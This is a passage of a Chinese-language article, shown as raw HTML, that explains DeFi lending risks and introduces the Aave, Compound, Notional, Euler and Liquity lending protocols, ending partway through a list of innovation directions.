作为提供流动性的凭证，与 Compound 的 cToken 具有相似的功能。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">流动性资金池模型中，借款量大于存款量、挤兑等情况将对借贷协议造成伤害。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">如果借款量长期低于存款量，借贷协议的流动性将下降，协议将难以将资金提供给借方，而贷方的利息也将难以得到保证。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">挤兑即用户大量赎回存在流动性池中的资金，降低借贷协议的流动性，借贷协议可能存在无法兑付的风险。</span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">四、DeFi 借贷协议项目介绍</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">介绍 5 个具有代表性的 DeFi 协议：Aave、Compound、Notional、Euler、Liquity。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave 和 Compound 是以太坊链上发展成熟的借贷协议，Notional 是固定利率借贷协议，Euler 是无许可借贷协议，Liquity 是无息贷款协议。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5935696619950536" data-s="300,640" style="" data-type="png" data-w="1213" src="https://wechat2rss.xlab.app/img-proxy/?k=d132390b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0vRBiaJWlWlOP0icEzvRR8a10BchfVwUL3yYRCaDNdx1Jjdvs8gYQoYfA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"> </span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>1. Aave</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave 是以太坊链上 DeFi 借贷协议，允许用户在不需要中间人的情况下借入、借出和赚取加密资产的利息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave 的前身是 2017 年 11 月推出的 ETHLend，ETHLend 使用的是点对点借贷模型，Aave 考虑该模型效率低下，选择采用流动性资金池模型，并将协议更名为 Aave。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave 的运作模式是贷方将资金添加到对应代币的流动性池中，从中获得利息。当借方想要借出资金时可从这些资金池中提取资金。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave 向贷方提供生息代币 aToken，aToken 是贷方的存款凭证，随着利息增加升值。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">aToken 在存款时铸造，赎回时销毁，与存入 Aave 协议的基础资产的价值以 1:1 的比率挂钩。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave 设置了借贷的两种利率模型：浮动利率和固定利率，用户可在两者之间选择，实现更高的整体收益。</span></section><section style="line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.23046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7ade35df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0mUGZ3axicBJVicaHFd0OBFQra1RbARDFuVocUBkfSaiaBzbicNHOib3BoTg%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave 目前最大的优势是其市场成熟性。从 2017 年 11 月开始算起，项目已经运行近 5 年的时候，是以太坊上老牌借贷协议。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">官网显示，目前 Aave 市场的流动性超过 85 亿美元，涉及公链涵盖 L1 和 L2，已在 Polygon、Optimism、Arbitrum 等以太坊扩容网络上部署，在头部 DeFi 借贷协议中部署公链数量最多。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Aave 的投资者包括 Blockchain Capital、Standard Crypto、Blockchain.com Ventures 等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>2. Compound</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Compound 是以太坊链上 DeFi 借贷协议，运作原理和 Aave 一样，用户向资金池提供流动性可获得生息代币 cToken 和利息，用户抵押资产从流动池借出资产。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Compound 的每个支持的代币都有对应的储备金率和抵押因子。储备金的设置的目的是为了防止挤兑。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">储备金支持平时用户的存取款业务，这部分资产不计入资金使用率之内，因此不会被借出。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">抵押因子是可借出资金和抵押资金的比率，比如 Compound 当前为 USDC 设置的抵押因子是 85%，那么当用户抵押价值为 100USDC 的资产时，能够借出 85USDC。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Compound 的利率模型激励用户存入资产赚取利息，同时抑制用户取出资产的欲望。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">如下图所示，当 ETH 利用率提升时，存款利率和借贷利率同时上升，促使资金流入量提升，同时借出资产的成本提升，抑制资金流出速度。 </span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0125" data-s="300,640" style="" data-type="png" data-w="720" src="https://wechat2rss.xlab.app/img-proxy/?k=13efc931&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0dmTeibs3YftHRf7v2zAtbMiag9eoUaGv29RYllzEWQhXRafZHchpicxZQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Compound 在 2020 年 6 月推出治理代币并启动流动性挖矿，借贷双方通过与协议交互即可获得 COMP 奖励并凭 COMP 参与治理，此举快速提升其用户量和锁仓量，在开启流动性挖矿的 24 小时内锁仓量即增长超 40%。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Compound 的投资者包括 a16z、Polychain、Paradigm 等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>3. Notional</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Notional 是固定利率借贷协议，用户存入和借出资金都基于固定的利率，利率不会受到市场波动而不断浮动。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Notional 协议的凭证代币是 fCash，该代币由两个关键要素定义：所关联加密货币、到期日。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在后台，Notional 协议在 fCash 和支持的资产之间部署了流动性资金池，并使用自定义 AMM 支持固定利率贷款。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">借款人可以从 Notional 协议中提取资产，同时获得相关加密货币的 fCash 负余额（基于固定利率）。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在到期日时，fCash 负余额会要求借款人向协议返还等额的关联加密货币。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">放贷人可以将资产存入 Notional Finance 协议，同时获得与加密货币相关联的 fCash 代币（基于固定利率）。在到期日时，贷方可以赎回这些 fCash 代币以获取等量的关联加密货币。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">固定利率的设计降低贷款活动的风险，更符合传统金融用户的使用习惯，有助于吸引风险承受力较低、不想承担长期债务的用户。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">用户可以选择存取的货币和到期的时间，以 DAI 为例，存入 DAI 最高利率的到期日是 2023 年 3 月 24 日，存款数量越高，利率会相应略微降低。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.41015625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b4f2c015&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0S1Qs2uux0iauHicjar9EbT4fmxkRrc0KYZquenlYnqC5emCicUbXanaAw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Notional 官网显示，项目锁仓量为 8600 万美元，借贷总量为 6.44 亿美元。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Notional 的投资者包括 Pantera Capital、Parafi Capital、1Confirmation 等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>4. Euler</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Euler 是无许可借贷协议，贷方将流动性存入 Euler 流动性池时会收到生息代币 eToken，只要池中有未借出的代币，贷方可以随时赎回其在池中的基础资产份额。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">借方有需求时可从资金池中取出流动性并需要带利息返还资金。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">Euler 具有</span><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(0, 122, 170);">四项特点</span></strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">：</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">(1)Uniswap V3 上有 WETH 对的资产都可添加至借贷市场，并将这些资产按三个等级分层成隔离层资产、跨层资产以及抵押层资产。</span></section><ul class="list-paddingleft-1" style="list-style-type: circle;"><li><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 8px 1em;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">隔离层资产：</span></strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">用于普通借贷，但不能用作抵押品。借用不同的资产需要在 Euler 上使用不同的账户。</span></span></section></li><li><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 8px 1em;text-align: justify;line-height: 2em;"><strong style="letter-spacing: 1px;font-size: 10.5pt;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">跨层资产：</span></strong><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">可用于普通借贷，也不能用作抵押品，不过可以用一个账户借入多个跨层资产。</span></section></li><li><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 8px 1em;text-align: justify;line-height: 2em;"><strong style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">抵押层资产：</strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">用于普通借贷、交叉借入，也可用作抵押品。交叉借入指用户在一个账户中抵押资产来借入多个抵押层资产。</span></section></li></ul><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">(2)结合抵押率和借款率定制清算门槛；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">(3)使用荷兰式拍卖和为流动性提供者的折扣加速机制来实现抗 MEV（矿工可提取价值）清算；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">(4)用多抵押稳定池替代抵押品拍卖。</span></section><section style="margin: 24px 1em 16px;line-height: 2em;text-align:center;width:100%;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=94389171&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0MI2WVOZR3Ko1ibRJxzqJDLFqwCJtvPE3KckOY1uY864ibdJHa5b7KB8w%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DeFiLlama 数据显示，Euler 锁仓量为 2.9 亿美元，在 DeFi 借贷协议中排名前十。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Euler 的投资者包括 Variant、FTX Ventures、Coinbase Ventures 等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;text-decoration: underline;"><strong>5. Liquity</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Liquity 是一个无息贷款协议，Liquity 一次性向用户收取费用（包括借款和赎回费用），用户在借出 LUSD（与美元绑定的稳定币）之后无需支付利息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Liquity 设置的最低抵押率为 110%，也就是说用户至少使用价值 110LUSD 的 ETH 借出 100LUSD。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">除了用户的抵押外，Liquity 的贷款还由 LUSD 的稳定池和所有借款人集体作为最后担保人提供担保。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">LUSD 的稳定池是维持系统偿付能力的第一道防线。通过提供流动性，稳定池用来偿还被清算的金库的债务，从而确保 LUSD 的总供应始终获得支持。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">为确保抵押品能够完全支持所有稳定币的供应，抵押率低于 110% 的 Vault 将被清算。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">清算后 Vault 的债务取消，由稳定池吸收。其抵押品则在稳定池流动性提供者之间分配。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">相比于其他 DeFi 借贷协议，Liquity 的无息贷款、较低的抵押率和稳定币借贷是其特点。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Liquity 官网显示，Liquity 锁仓量为 4.9 亿美元。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Liquity 的投资者包括 Polychain Capital、Pantera Capital、1kx 等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><br/></span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">五、DeFi 借贷的创新方向</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DeFi 借贷协议中大部分协议采用超额抵押，超额抵押存在的问题是资本利用率较低，降低了协议的资本效率。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，超额抵押为借贷者设置了一定的加密资产持有量门槛，不利于传统金融投资者和加密新手参与。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">为此，DeFi 借贷协议在提升资本效率和采用度方面进行创新，此处归纳了 4 个 DeFi 借贷的创新方向：</span></section><ul class="list-paddingleft-1" style="list-style-type: circle;"><li style="color: rgb(0, 122, 170);letter-spacing: 1px;"><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: justify;line-height: 2em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(0, 122, 170);letter-spacing: 1px;"><strong>无息贷款</strong></span></section></li><li style="color: rgb(0, 122, 170);letter-spacing: 1px;"><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: justify;line-height: 2em;"><strong style="color: rgb(0, 122, 170);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">资产隔离池</strong></section></li><li style="color: rgb(0, 122, 170);letter-spacing: 1px;"><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: justify;line-height: 2em;"><strong style="color: rgb(0, 122, 170);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">跨链借贷</strong></section></li><li style="color: rgb(0, 122, 170);letter-spacing: 1px;"><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: justify;line-height: 2em;"><strong style="color: rgb(0, 122, 170);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">信用贷</strong></section></li></ul><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>1. 无息贷款</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 